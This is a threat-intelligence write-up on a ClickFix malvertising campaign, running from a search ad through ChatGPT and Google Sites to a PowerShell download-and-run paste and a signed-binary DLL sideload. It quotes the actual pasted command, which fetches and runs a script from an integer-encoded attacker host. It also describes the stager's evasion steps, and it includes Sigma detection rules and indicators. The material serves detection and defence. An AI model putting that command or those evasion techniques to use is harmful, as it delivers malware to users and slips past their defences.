threat-intel · clickfix · malvertising · detection
Trusted Hops, Integer Hosts
At the end of September, public reporting described a ClickFix campaign that buys Google search ads pointing at malicious custom ChatGPT "GPTs", which send visitors on to a Google Sites page carrying a fake verification prompt. We recently worked an execution that looks like a newer rotation of the same operation. The staging server, the installer and the signed program it abuses were all different from anything in that report.
Every hop the user's browser took before the last one was a domain almost every web filter allows. And when the payload host finally appeared, in the command the user pasted, it wasn't written as a domain or even as a normal IP address.
The chain, as far as DNS can show it
Everything in this section comes from DNS lookups on the endpoint. DNS on this host went through a client-side proxy agent, so we can tie the lookups to the machine but not to a browser process, and we never saw a URL path. Offsets are relative to the ad click.
| Offset | Lookup |
|---|---|
+00:00:00 |
www.googleadservices.com, ad.doubleclick.net |
+00:00:03 |
chatgpt.com, then ws.chatgpt.com and cdn.platform.openai.com |
+00:01:40 |
sites.google.com |
+00:01:44 |
1864119517-atari-embeds.googleusercontent[.]com, a Google Sites embed frame |
+00:01:44 |
fafaplaplapla[.]com, resolving to 89.34.90[.]130 |
A sponsored result was clicked, and three seconds later the machine was talking to ChatGPT. That ordering matches the published chain step for step: ad, custom GPT, Google Sites, embedded content, lure. We can't confirm the ChatGPT page was a custom GPT. DNS shows chatgpt.com and nothing more, and a shared conversation link or an unrelated open tab would look identical.
What DNS does show clearly is how little there was to block. Google, OpenAI and Google again. The first domain that isn't a household name is the lure itself, and the browser only reached it from inside a frame served by googleusercontent.com.
The paste
Forty-four seconds after the lure loaded, Explorer started cmd.exe. Twelve seconds after that:
powershell -ExecutionPolicy Bypass "irm 2549127135[/]151 -OutFile $env:temp\151.ps1;& $env:temp\151.ps1"
We've defanged the command by bracketing the first /; as pasted, it had a plain slash and worked as-is. 2549127135 is 151.240.151[.]223 written as one 32-bit integer, which we come back to below. The rest of the command is unremarkable on its face: download with irm (Invoke-RestMethod), save to %TEMP%, run it with the & call operator.
The user pasted it more than once, then opened a second console thirty seconds later and ran it again, so everything below happened twice.
The stager
PowerShell script block logging captured 151.ps1 in full, as a single event of about 2 KB each time it ran. It does six things:
- Compiles a one-line C# helper with
Add-Typethat callsFreeConsole(), which detaches and hides the console window. - Forces TLS 1.2 and builds a
Net.WebClientwith a Chrome 131 user agent. - Stores the method name
'DownloadFile'in a variable and calls it through.Invoke(), so the literal.DownloadFile(never appears in the script text. It retries up to eight times. - Saves
hxxp://2549127135/app/3af981719677/FilesInspectorX.msito%TEMP%\<32 hex characters>_FilesInspectorX.msi. - Runs
Unblock-Fileon it and setsSEE_MASK_NOZONECHECKS=1, removing the downloaded-from-the-internet mark and the prompt that comes with it. - Starts
msiexec.exe /i <msi> /qn /norestart MSIINSTALLPERUSER=1with a hidden window, then deletes itself.
The URL shape (/app/<12 hex>/<Name>.msi), the 32-hex-character temp name and the quiet per-user install match the pattern from earlier samples of this campaign. The staging address and the installer name are new.
The install
Two seconds after msiexec started, it had written 23 files into %LOCALAPPDATA%\Programs\Innovative CP Notifier Pro\ and launched sanotifier.exe as part of the install.
sanotifier.exe is a real program: SecureAge's "CatchPulse Notifier", validly signed. It is a Qt application, and it loads Qt5Widgets.dll from its own folder at startup. The copy shipped next to it is unsigned, and when we checked on October 8, none of the 71 engines on VirusTotal flagged it, SecureAge's own included. This is the same arrangement as the earlier waves, where a signed Canon and later a Stardock program loaded a patched DLL. The vendor and the DLL changed; the shape didn't.
The rest of the folder is the giveaway. Alongside genuine Qt and Visual C++ runtime files sit Notifications,1.dll, Notifications,2.dll, sciter,2.dll, WinRTApps,1.dll, WinRTApps,2.dll, util4..dll and SMM_FrameStepper.dll. When we detonated the same MSI in a public sandbox it also dropped HandleCurrency.bak, Preview.Office.dat, blcerts.bin and Russian.sib. Earlier samples of this campaign hid the payload in a custom encrypted archive alongside the loader, and these files are our best guess at the same thing here. We have not reversed this sample.
Why the decimal host matters
An IPv4 address is a 32-bit number. The dotted form is only a way of writing it, and 151.240.151[.]223 and 2549127135 are the same value. Windows, PowerShell and most URL parsers accept the single-integer form without complaint, so the command works exactly as if the dotted address had been typed. The pasted command doesn't even carry http://. PowerShell filled in the scheme itself and connected to port 80.
Any detection that leans on the shape of the URL in the command line has a blind spot here:
- Address regexes. Anything looking for four dot-separated octets after a download verb sees no address at all.
- Scheme anchors. Logic that requires
http://orhttps://next toirmoriwrhas nothing to anchor on. - IOC matching. A command-line search for the staging IP, written the usual way, returns nothing. The dotted address only appears once you look at the network connection the command produced.
The fix is cheap, because legitimate software almost never writes a host this way. Treat an 8 to 10 digit integer in the host position of a download command (irm, iwr, Invoke-RestMethod, Invoke-WebRequest, curl, wget), whether it follows the verb directly, a parameter such as -Uri, or http://, as a signal in its own right. Hex (0x97f097df), octal (0227.0360.0227.0337) and dotted-mixed (151.240.38879) forms reach the same address. The rule in Appendix A covers only the decimal and eight-digit hex forms, so extend it if you want the others. If you match on IOCs, normalise integer hosts back to dotted form before comparing. In this case the decimal-host logic in one of our PowerShell download detections is what flagged the paste, alongside detections for the silent msiexec install from %TEMP% and the stager's in-memory C# compilation.
The other half of the command is worth folding into the same rules. irm <host> -OutFile <temp file>; & <temp file> never uses iex or Invoke-Expression. A ClickFix rule that pairs a download verb with an execution primitive should count "save with -OutFile, then run with & or ." as execution, and should treat irm as a download verb alongside iwr. Match irm on a word boundary, though; a plain substring match also hits the "irm" inside "confirm".
Conclusion
Nothing in this chain needed an exploit. A paid ad, two of the most trusted domains on the internet and a user willing to paste a command did all the work, and the one piece of attacker infrastructure the command line exposed was written in a form a lot of URL matching doesn't parse. We didn't see persistence on this host, but the earlier waves were reported to use a Run value and a scheduled task with the same name, pointing into %LOCALAPPDATA%\Programs\, that recreate each other when deleted. The Run key rule in our Teams vishing write-up covers that shape, and the unsigned DLL load rule in the same post covers the sideload.
If your users can reach ChatGPT, it is worth telling them plainly that no legitimate site, including one that looks like ChatGPT, will ask them to paste a command into Run or a terminal to prove anything.
Appendix A: Detection Mechanisms
Four Sigma rules covering the paste, the integer-encoded host, the stager and the install, all marked experimental. The first two are narrow enough that we would alert on them directly; the last two will see some software deployment noise and should be baselined first. Several of the rules use regular expressions with \b and \s; check that your Sigma backend supports them, because some regex dialects don't and the rule will then silently match nothing. Tune them against your own telemetry rather than deploying them as-is.
ClickFix PowerShell Download To Temp Then Execute
title: ClickFix PowerShell Download To Temp Then Execute
id: 713a3f05-5d28-43c8-bab8-ec6b82cea948
status: experimental
description: |
Detects PowerShell started from Explorer, cmd.exe or Windows Terminal that
downloads a file with -OutFile into a user temp path and immediately runs
it with the call operator, or runs a downloaded .ps1 from the current
directory. This is the paste-and-run shape used by ClickFix lures that
avoid iex. A command pasted into an already-open PowerShell window creates
no new process and is not seen by this rule; script block logging is the
place to catch that case.
references:
- https://activesoc.blackhillsinfosec.com/blog/trusted-hops-integer-hosts/
author: BHIS ActiveSOC
date: 2026-10-07
tags:
- attack.execution
- attack.t1059.001
- attack.t1204.004
- attack.command-and-control
- attack.t1105
logsource:
category: process_creation
product: windows
detection:
selection_parent:
ParentImage|endswith:
- '\explorer.exe'
- '\cmd.exe'
- '\WindowsTerminal.exe'
selection_img:
- Image|endswith:
- '\powershell.exe'
- '\pwsh.exe'
- OriginalFileName:
- 'PowerShell.EXE'
- 'pwsh.dll'
selection_download:
- CommandLine|re|i: '\b(irm|iwr|curl|wget)\s'
- CommandLine|contains:
- 'Invoke-RestMethod'
- 'Invoke-WebRequest'
selection_outfile:
CommandLine|contains: '-OutF'
selection_exec:
- CommandLine|re|i: '[;&]\s*&\s*["'']?(\$env:te?mp|%te?mp%|[a-z]:\\users\\[^\\]+\\appdata\\local\\temp)'
- CommandLine|re|i: ';\s*\.\\[^\s"'';]+\.ps1'
condition: all of selection_*
fields:
- CommandLine
- ParentImage
- User
falsepositives:
- Admin or vendor bootstrap one-liners that download an installer to %TEMP%
and run it. Suppress by user and download URL.
level: high
Download Command With Integer-Encoded IPv4 Host
title: Download Command With Integer-Encoded IPv4 Host
id: ce1446bd-618e-45e9-abad-711151796e0e
status: experimental
description: |
Detects a process command line that downloads from a host written as a
single 32-bit integer (decimal or hex) instead of a dotted IPv4 address, a
format that slips past address regexes, scheme anchors and IOC matching.
The 8 to 10 digit bound is a pattern, not a range check: it also matches
10-digit numbers above 4294967295 that are not valid addresses, and skips
integers under 8 digits (addresses below 1.0.0.0, which nobody stages from).
The second branch catches the integer after parameters such as -Uri or
curl's -o, but only when a path or port follows it, so bare numbers like
epoch timestamps in the same command line do not match.
references:
- https://activesoc.blackhillsinfosec.com/blog/trusted-hops-integer-hosts/
author: BHIS ActiveSOC
date: 2026-10-07
tags:
- attack.defense-evasion
- attack.t1027
- attack.command-and-control
- attack.t1105
logsource:
category: process_creation
product: windows
detection:
selection_inline:
CommandLine|re|i: '(\b(irm|iwr|curl|wget|Invoke-RestMethod|Invoke-WebRequest)\s+["'']?(https?://)?|https?://)(0x[0-9a-f]{8}|\d{8,10})([/:"''\s]|$)'
selection_verb:
CommandLine|re|i: '\b(irm|iwr|curl|wget|Invoke-RestMethod|Invoke-WebRequest)\b'
selection_host:
CommandLine|re|i: '[\s"''](0x[0-9a-f]{8}|\d{8,10})(/|:\d)'
condition: selection_inline or (selection_verb and selection_host)
fields:
- Image
- CommandLine
- ParentImage
- User
falsepositives:
- Unlikely. Legitimate software almost never addresses a host this way.
- A download command that also carries an 8 to 10 digit number followed by
a slash, such as a date-named output folder.
level: high
PowerShell Script Silently Installs Unblocked Downloaded MSI
title: PowerShell Script Silently Installs Unblocked Downloaded MSI
id: b36c575c-bfdb-44d5-af9e-e9f9e625f3fd
status: experimental
description: |
Detects a PowerShell script block that removes the mark-of-the-web from a
file, runs a quiet msiexec install, and either sets SEE_MASK_NOZONECHECKS or
references the DownloadFile method as a string. This is the shape of a
ClickFix MSI stager that calls its download method by name to avoid
matching on the literal method call. PowerShell splits long scripts across
several script block events, so a large stager can spread these terms over
more than one event and slip past this rule.
references:
- https://activesoc.blackhillsinfosec.com/blog/trusted-hops-integer-hosts/
author: BHIS ActiveSOC
date: 2026-10-07
tags:
- attack.execution
- attack.t1059.001
- attack.defense-evasion
- attack.t1553.005
- attack.t1218.007
logsource:
product: windows
category: ps_script
definition: 'Requirements: Script Block Logging must be enabled'
detection:
selection_unblock:
ScriptBlockText|contains: 'Unblock-File'
selection_msi:
ScriptBlockText|contains|all:
- 'msiexec'
- '/qn'
selection_evasion:
ScriptBlockText|contains:
- 'SEE_MASK_NOZONECHECKS'
- "'DownloadFile'"
condition: all of selection_*
fields:
- ScriptBlockText
- Path
falsepositives:
- Software deployment scripts that download and silently install MSI
packages. Baseline before alerting.
level: medium
PowerShell Spawns Quiet MSI Install From User Temp
title: PowerShell Spawns Quiet MSI Install From User Temp
id: 07b04af9-3002-4168-8610-e28e707791ef
status: experimental
description: |
Detects msiexec started by PowerShell to quietly install a package from the
user's AppData\Local\Temp folder, as done by ClickFix stagers that fetch an
MSI and install it per-user.
references:
- https://activesoc.blackhillsinfosec.com/blog/trusted-hops-integer-hosts/
author: BHIS ActiveSOC
date: 2026-10-07
tags:
- attack.defense-evasion
- attack.t1218.007
logsource:
category: process_creation
product: windows
detection:
selection_parent:
ParentImage|endswith:
- '\powershell.exe'
- '\pwsh.exe'
selection_img:
- Image|endswith: '\msiexec.exe'
- OriginalFileName: 'msiexec.exe'
selection_install:
CommandLine|contains:
- ' /i '
- ' -i '
- '/package '
- '-package '
selection_temp:
CommandLine|contains: '\AppData\Local\Temp\'
selection_quiet:
CommandLine|contains:
- '/qn'
- '/quiet'
condition: all of selection_*
fields:
- CommandLine
- ParentImage
- ParentCommandLine
- User
falsepositives:
- Software deployment or update scripts that stage MSIs in the user temp
folder. Baseline before alerting.
level: medium
Appendix B: Indicators of Compromise
Attacker-controlled except where marked.
fafaplaplapla[.]com lure host
89.34.90[.]130 lure host address
1864119517-atari-embeds.googleusercontent[.]com embed frame that served the lure; attacker content on
shared Google hosting, hunt the full name, never block
the parent domain
151.240.151[.]223 payload staging, port 80
2549127135 the same address as a decimal integer
hxxp://151.240.151[.]223/151 stager script
hxxp://151.240.151[.]223/app/3af981719677/FilesInspectorX.msi
9ac13a8ef7bab76c4d074385fd783e8c9542a8db7a166c3d3921a48add092455 FilesInspectorX.msi
1be6e35d997d7c9d2261fc5701f4898a93bd128a7aa908eed1171ffe6672a649 151.ps1
25ffe3b361c19350c4b6331274e0700688f6a4fbba6b8f582fe3d9c77d043498 Qt5Widgets.dll (loader)
727313a64de14972734375e50f5da5f01f1858de8d18bafbf372849b08d0aa39 util4..dll
5cd20d86211ab3f4b8ab96a3efb296a069a600a3473d3548e1ed58a9d8c7062e SMM_FrameStepper.dll
c80455c7d8bc18fe21f770c42554d9afc3e883a26641c0e8ba4b70ac03bf37cd sanotifier.exe (legitimate SecureAge binary; block by path, not hash)
Install folder: %LOCALAPPDATA%\Programs\Innovative CP Notifier Pro\
